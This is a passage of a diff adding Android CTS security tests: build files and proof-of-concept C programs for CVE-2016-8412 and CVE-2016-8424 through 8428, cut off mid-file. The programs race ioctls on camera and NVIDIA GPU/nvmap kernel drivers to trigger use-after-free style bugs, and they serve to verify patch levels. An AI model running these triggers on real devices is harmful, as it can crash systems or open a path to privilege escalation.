+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8412
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c
new file mode 100644
index 0000000..d438b40
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8412/poc.c
@@ -0,0 +1,69 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <unistd.h>
+#include <sys/syscall.h>
+#include <string.h>
+#include <stdint.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <signal.h>
+
+#define VIDIOC_MSM_ACTUATOR_CFG 0xc0d056c6
+#define MSM_SD_SHUTDOWN 0xc00856dd
+
+int fd;
+
+
+int main() {
+  long i;
+  int pid;
+  pthread_t th[6];
+  int argn[50] = {0};
+
+  fd = open("/dev/v4l-subdev7", 0x0ul );
+
+
+  argn[0] = 7;
+  syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
+
+  pid = fork();
+  if(!pid){
+    argn[0] = 1;
+    while(1){
+      usleep(10);
+      syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
+    }
+  }
+  i = 0;
+  while(1){
+    i++;
+    argn[0] = 7;
+    syscall(__NR_ioctl, fd, VIDIOC_MSM_ACTUATOR_CFG, argn, 0, 0, 0);
+
+    usleep(100);
+
+    argn[0] = 0;
+    syscall(__NR_ioctl, fd, MSM_SD_SHUTDOWN, argn, 0, 0, 0);
+
+  }
+
+  close(fd);
+
+  return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8424/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8424/Android.mk
new file mode 100644
index 0000000..e91fd50
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8424/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8424
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8424/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8424/poc.c
new file mode 100644
index 0000000..4460b88
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8424/poc.c
@@ -0,0 +1,138 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+
+#include <stdlib.h>
+#include <errno.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <stdio.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <unistd.h>
+#include <sched.h>
+
+
+struct nvmap_handle_param {
+	__u32 handle;		/* nvmap handle */
+	__u32 param;		/* size/align/base/heap etc. */
+	unsigned long result;	/* returns requested info*/
+};
+
+struct nvmap_create_handle {
+	union {
+		__u32 id;	/* FromId */
+		__u32 size;	/* CreateHandle */
+		__s32 fd;	/* DmaBufFd or FromFd */
+	};
+	__u32 handle;		/* returns nvmap handle */
+};
+
+#define NVMAP_IOC_MAGIC 'N'
+#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
+#define NVMAP_IOC_PARAM _IOWR(NVMAP_IOC_MAGIC, 8, struct nvmap_handle_param)
+#define NVMAP_IOC_GET_ID  _IOWR(NVMAP_IOC_MAGIC, 13, struct nvmap_create_handle)
+#define NVMAP_IOC_GET_FD  _IOWR(NVMAP_IOC_MAGIC, 15, struct nvmap_create_handle)
+#define NVMAP_IOC_FREE       _IO(NVMAP_IOC_MAGIC, 4)
+
+int g_fd = -1;
+static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
+static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
+struct nvmap_create_handle* g_allocation = NULL;
+
+int open_driver() {
+    char* dev_path = "/dev/nvmap";
+    g_fd = open(dev_path, O_RDWR);
+    if (g_fd < 0) {
+        printf("[*] open file(%s) failed, errno=%d\n", dev_path, errno);
+    } else {
+        printf("[*] open file(%s) succ!\n", dev_path);
+    }
+    return g_fd;
+}
+
+void trigger_nvmap_create() {
+    ioctl(g_fd, NVMAP_IOC_CREATE, g_allocation);
+    //printf("[*] NVMAP_IOC_CREATE, fd(%d), last error = %d\n", g_allocation->handle, errno);
+}
+
+void trigger_nvmap_free() {
+    static int data = 1024;
+    ioctl(g_fd, NVMAP_IOC_FREE, data);
+    //printf("[*] NVMAP_IOC_FREE last error = %d\n", errno);
+}
+
+void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
+    setpriority(PRIO_PROCESS, gettid(), privi);
+    printf("[*] setpriority(%d) errno = %d\n", privi, errno);
+
+    /* bind process to a CPU*/
+    if (sched_setaffinity(gettid(), sizeof(cpu_mask), &cpu_mask) < 0) {
+        printf("[*] sched_setaffinity(%ld) errno = %d\n", cpu_mask, errno);
+    }
+}
+
+void prepare_data() {
+    void* data = calloc(1, 0x1000);
+
+    g_allocation = (struct nvmap_create_handle*)data;
+    g_allocation->size = 1024;
+
+    mprotect(data, 0x1000, PROT_READ);
+    printf("[*] mprotect, error = %d\n", errno);
+}
+static int init = 0;
+void* race_thread(void* arg) {
+    setup_privi_and_affinity(0, 2);
+
+    int i;
+    while (1) {
+        if (init == 0) {
+            pthread_mutex_lock(&mutex);
+            pthread_cond_wait(&cond, &mutex);
+            pthread_mutex_unlock(&mutex);
+            init = 1;
+        }
+        trigger_nvmap_free();
+    }
+}
+
+int main(int argc, char**argv) {
+    setup_privi_and_affinity(0, 1);
+    if (open_driver() < 0) {
+        return -1;
+    }
+    prepare_data();
+    pthread_t tid;
+    pthread_create(&tid, NULL, race_thread, NULL);
+    sleep(1);
+    while (1) {
+        if (init == 0)
+            pthread_cond_signal(&cond);
+        trigger_nvmap_create();
+    }
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8425/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8425/Android.mk
new file mode 100644
index 0000000..9b948ad
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8425/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8425
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8425/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8425/poc.c
new file mode 100644
index 0000000..498bca4
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8425/poc.c
@@ -0,0 +1,140 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+
+#define ERR(fmt, ...)   printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
+#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
+#define CLOSE_THREAD_NUM	100
+#define TRY_TIMES		900
+
+#define DEV "/dev/nvhost-vic"
+
+struct nvhost_channel_open_args {
+	__s32 channel_fd;
+};
+
+#define NVHOST_IOCTL_MAGIC 'H'
+#define NVHOST_IOCTL_CHANNEL_OPEN	\
+	_IOR(NVHOST_IOCTL_MAGIC,  112, struct nvhost_channel_open_args)
+
+int fd;
+pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
+pthread_t toggle_thread_id;
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	if(ret == -1){
+		printf("[-] set affinity failed: [%d]-%s\n", errno, strerror(errno));
+	}
+	return ret;
+}
+
+static void prepare()
+{
+	return;
+}
+
+volatile int target_fd;
+volatile int attack;
+void* close_thread(void* no_use)
+{
+	set_affinity(1);
+
+	while(attack){
+		usleep(200);
+		close(target_fd);
+	}
+
+	return NULL;
+}
+
+int main()
+{
+	int i, try_time = TRY_TIMES, ret;
+	struct nvhost_channel_open_args o_args = { 0 };
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	/* open dev */
+	fd = open(DEV,O_RDONLY);
+	if(fd == -1){
+		ERR("[-] open failed");
+		return 0;
+	} else {
+		printf("[+] open OK\n");
+	}
+
+	#if 1
+	ret = ioctl(fd, NVHOST_IOCTL_CHANNEL_OPEN, &o_args);
+	if(ret == -1) {
+		ERR("[-] ioctl failed");
+		goto out_dev;
+	} else {
+		printf("[+] ioctl OK, fd = %d\n", o_args.channel_fd);
+	}
+
+	target_fd = o_args.channel_fd;	
+	#endif
+
+	/* create close thread */
+	#if 1
+	attack = 1;
+	for(i = 0; i < CLOSE_THREAD_NUM; i++){
+		ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL);
+		if(ret){
+			goto out_close_thread;
+		}
+	}
+	#endif
+
+	#if 1
+	for(i = 0; i < TRY_TIMES; i++){
+		/* open */
+		ret = ioctl(fd, NVHOST_IOCTL_CHANNEL_OPEN, &o_args);
+		usleep(200);
+	}
+	#endif
+	
+out_close_thread:
+	attack = 0;
+	/* kill close thread */
+	for(i = 0; i < CLOSE_THREAD_NUM; i++){
+		if(close_thread_id[i])
+			pthread_join(close_thread_id[i], NULL);
+	}
+out_dev:
+	close(fd);
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8426/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8426/Android.mk
new file mode 100644
index 0000000..03a06c7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8426/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8426
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8426/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8426/poc.c
new file mode 100644
index 0000000..c423416
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8426/poc.c
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <sys/types.h>
+#include <signal.h>
+#include <unistd.h>
+
+#define ERR(fmt, ...)   printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
+#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
+#define CLOSE_THREAD_NUM	100
+#define TRY_TIMES		900
+
+#define DEV "/dev/nvhost-gpu"
+
+struct nvhost_channel_open_args {
+	__s32 channel_fd;
+};
+
+#define NVHOST_IOCTL_MAGIC 'H'
+#define NVHOST_IOCTL_CHANNEL_OPEN	\
+	_IOR(NVHOST_IOCTL_MAGIC,  112, struct nvhost_channel_open_args)
+
+int fd;
+pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
+pthread_t toggle_thread_id;
+
+static int set_affinity(int num)
+{
+	int ret = 0;
+	cpu_set_t mask;
+	CPU_ZERO(&mask);
+	CPU_SET(num, &mask);
+	ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+	if(ret == -1){
+		printf("[-] set affinity failed: [%d]-%s\n", errno, strerror(errno));
+	}
+	return ret;
+}
+
+static void prepare()
+{
+	return;
+}
+
+volatile int target_fd;
+volatile int attack;
+void* close_thread(void* no_use)
+{
+	set_affinity(1);
+
+	while(attack){
+		usleep(200);
+		close(target_fd);	
+	}
+
+	return NULL;
+}
+
+int main()
+{
+	int i, try_time = TRY_TIMES, ret;
+	struct nvhost_channel_open_args o_args = { 0 };
+
+	/* bind_cpu */
+	set_affinity(0);
+
+	/* open dev */
+	fd = open(DEV,O_RDONLY);
+	if(fd == -1){
+		ERR("[-] open failed");
+		return 0;
+	} else {
+		printf("[+] open OK\n");
+	}
+
+	#if 1
+	ret = ioctl(fd, NVHOST_IOCTL_CHANNEL_OPEN, &o_args);
+	if(ret == -1) {
+		ERR("[-] ioctl failed");
+		goto out_dev;
+	} else {
+		printf("[+] ioctl OK, fd = %d\n", o_args.channel_fd);
+	}
+
+	target_fd = o_args.channel_fd;	
+	#endif
+
+	/* create close thread */
+	#if 1
+	attack = 1;
+	for(i = 0; i < CLOSE_THREAD_NUM; i++){
+		ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL);
+		if(ret){
+			printf("[+] create close thread %d failed %d %s\n", i, errno, strerror(errno));
+			goto out_close_thread;
+		}
+	}
+	#endif
+
+	#if 1
+	for(i = 0; i < TRY_TIMES; i++){
+		printf("[+] %03d times\n", i);
+		/* open */
+		ret = ioctl(fd, NVHOST_IOCTL_CHANNEL_OPEN, &o_args);
+		if(ret == -1) {
+			ERR("[-] ioctl failed");
+		} else {
+			printf("[+] ioctl OK, fd = %d\n", o_args.channel_fd);
+		}
+		usleep(200);
+	}
+	#endif
+	
+out_close_thread:
+	attack = 0;
+	/* kill close thread */
+	for(i = 0; i < CLOSE_THREAD_NUM; i++){
+		if(close_thread_id[i])
+			pthread_join(close_thread_id[i], NULL);
+	}
+out_dev:
+	close(fd);
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8427/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8427/Android.mk
new file mode 100644
index 0000000..65be8d3
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8427/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8427
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8427/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8427/poc.c
new file mode 100644
index 0000000..0c54420
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8427/poc.c
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <sys/syscall.h>
+#include <string.h>
+#include <stdint.h>
+#include <pthread.h>
+#include <linux/ion.h>
+
+#define NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL 0xc0084401ul
+
+
+int fd_gpu;
+int fd_dbg;
+int fd_dbg_1;
+
+void *thr(void *arg)
+{
+	int ioarg[2];
+	switch ((long)arg) {
+	case 0:
+		fd_dbg = open("/dev/nvhost-dbg-gpu",0x0ul,0x101000ul);
+		break;
+	case 1:
+		fd_dbg_1 = dup3(fd_dbg, fd_dbg,0x80000ul);
+		break;
+	case 2:
+		ioarg[0] = fd_dbg_1;
+		ioarg[1] = 0; 
+		ioctl(fd_dbg,NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL,ioarg, 0, 0, 0);
+		break;
+	case 3:
+		fd_gpu = open("/dev/nvhost-gpu",0x0ul,0x2000ul);
+		break;
+	case 4:
+		ioarg[0] = fd_gpu;
+		ioarg[1] = 0;
+		ioctl(fd_dbg,NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL,ioarg);
+		break;
+	case 5:
+		ioarg[0] = fd_gpu;
+		ioarg[1] = 0; 
+		ioctl(fd_dbg,NVHOST_DBG_GPU_IOCTL_BIND_CHANNEL,ioarg);
+		break;
+	}
+	return 0;
+}
+int poc()
+{
+	long i;
+	pthread_t th;
+	for (i = 0; i < 6; i++) {
+		pthread_create(&th, 0, thr, (void*)i);
+		usleep(10000);
+	}
+	for (i = 0; i < 6; i++) {
+		pthread_create(&th, 0, thr, (void*)i);
+		if (i%2==0)
+			usleep(10000);
+	}
+	usleep(100000);
+	return 0;
+}
+
+
+int main(int argc, char const *argv[])
+{
+	int pid;
+	while(1){
+		pid = fork();
+		if(pid){
+			usleep(30000);
+		}else
+			return poc();
+	}
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8428/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8428/Android.mk
new file mode 100644
index 0000000..2c9ba08
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8428/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8428
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wno-unused-parameter
+LOCAL_LDFLAGS += -fPIE -pie
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8428/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8428/poc.c
new file mode 100644
index 0000000..b65b16c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8428/poc.c
@@ -0,0 +1,213 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <errno.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <stdio.h>
+#include <string.h>
+#include <dlfcn.h>
+#include <sys/time.h>
+#include <sys/mman.h>
+#include <sys/syscall.h>
+#include <sys/resource.h>
+#include <fcntl.h>
+#include <pthread.h>  
+#include <unistd.h> 
+#include <sched.h>
+
+
+struct nvmap_handle_param {
+	__u32 handle;		/* nvmap handle */
+	__u32 param;		/* size/align/base/heap etc. */
+	unsigned long result;	/* returns requested info*/
+};
+
+struct nvmap_create_handle {
+	union {
+		__u32 id;	/* FromId */
+		__u32 size;	/* CreateHandle */
+		__s32 fd;	/* DmaBufFd or FromFd */
+	};
+	__u32 handle;		/* returns nvmap handle */
+};
+
+struct nvmap_alloc_handle {
+	__u32 handle;		/* nvmap handle */
+	__u32 heap_mask;	/* heaps to allocate from */
+	__u32 flags;		/* wb/wc/uc/iwb etc. */
+	__u32 align;		/* min alignment necessary */
+};
+
+struct nvmap_cache_op_list {
+	__u64 handles;		/* Ptr to u32 type array, holding handles */
+	__u64 offsets;		/* Ptr to u32 type array, holding offsets
+				 * into handle mem */
+	__u64 sizes;		/* Ptr to u32 type array, holindg sizes of memory
+				 * regions within each handle */
+	__u32 nr;		/* Number of handles */
+	__s32 op;		/* wb/wb_inv/inv */
+};
+
+#define NVMAP_IOC_MAGIC 'N'
+#define NVMAP_IOC_CREATE  _IOWR(NVMAP_IOC_MAGIC, 0, struct nvmap_create_handle)
+#define NVMAP_IOC_PARAM _IOWR(NVMAP_IOC_MAGIC, 8, struct nvmap_handle_param)
+#define NVMAP_IOC_GET_ID  _IOWR(NVMAP_IOC_MAGIC, 13, struct nvmap_create_handle)
+#define NVMAP_IOC_GET_FD  _IOWR(NVMAP_IOC_MAGIC, 15, struct nvmap_create_handle)
+#define NVMAP_IOC_FREE       _IO(NVMAP_IOC_MAGIC, 4)
+#define NVMAP_IOC_ALLOC    _IOW(NVMAP_IOC_MAGIC, 3, struct nvmap_alloc_handle)
+#define NVMAP_IOC_RESERVE _IOW(NVMAP_IOC_MAGIC, 18,	struct nvmap_cache_op_list)
+
+/* common carveout heaps */
+#define NVMAP_HEAP_CARVEOUT_IRAM    (1ul<<29)
+#define NVMAP_HEAP_CARVEOUT_VPR     (1ul<<28)
+#define NVMAP_HEAP_CARVEOUT_TSEC    (1ul<<27)
+#define NVMAP_HEAP_CARVEOUT_GENERIC (1ul<<0)
+
+#define NVMAP_HEAP_CARVEOUT_MASK    (NVMAP_HEAP_IOVMM - 1)
+
+/* allocation flags */
+#define NVMAP_HANDLE_UNCACHEABLE     (0x0ul << 0)
+#define NVMAP_HANDLE_WRITE_COMBINE   (0x1ul << 0)
+#define NVMAP_HANDLE_INNER_CACHEABLE (0x2ul << 0)
+#define NVMAP_HANDLE_CACHEABLE       (0x3ul << 0)
+#define NVMAP_HANDLE_CACHE_FLAG      (0x3ul << 0)
+
+#define NVMAP_HANDLE_SECURE          (0x1ul << 2)
+#define NVMAP_HANDLE_KIND_SPECIFIED  (0x1ul << 3)
+#define NVMAP_HANDLE_COMPR_SPECIFIED (0x1ul << 4)
+#define NVMAP_HANDLE_ZEROED_PAGES    (0x1ul << 5)
+#define NVMAP_HANDLE_PHYS_CONTIG     (0x1ul << 6)
+#define NVMAP_HANDLE_CACHE_SYNC      (0x1ul << 7)
+enum {
+	NVMAP_PAGES_UNRESERVE = 0,
+	NVMAP_PAGES_RESERVE
+};
+int g_fd = -1;
+static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
+static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
+struct nvmap_create_handle* g_allocation = NULL;
+struct nvmap_alloc_handle g_real_alloc = {0};
+struct nvmap_cache_op_list g_op_list = {0};
+#define MAX_HANDLE_NUM (1000)
+int g_handles_for_free[MAX_HANDLE_NUM] = {-1};
+int g_handles_for_alloc[MAX_HANDLE_NUM] = {-1};
+
+int open_driver() {
+    char* dev_path = "/dev/nvmap";
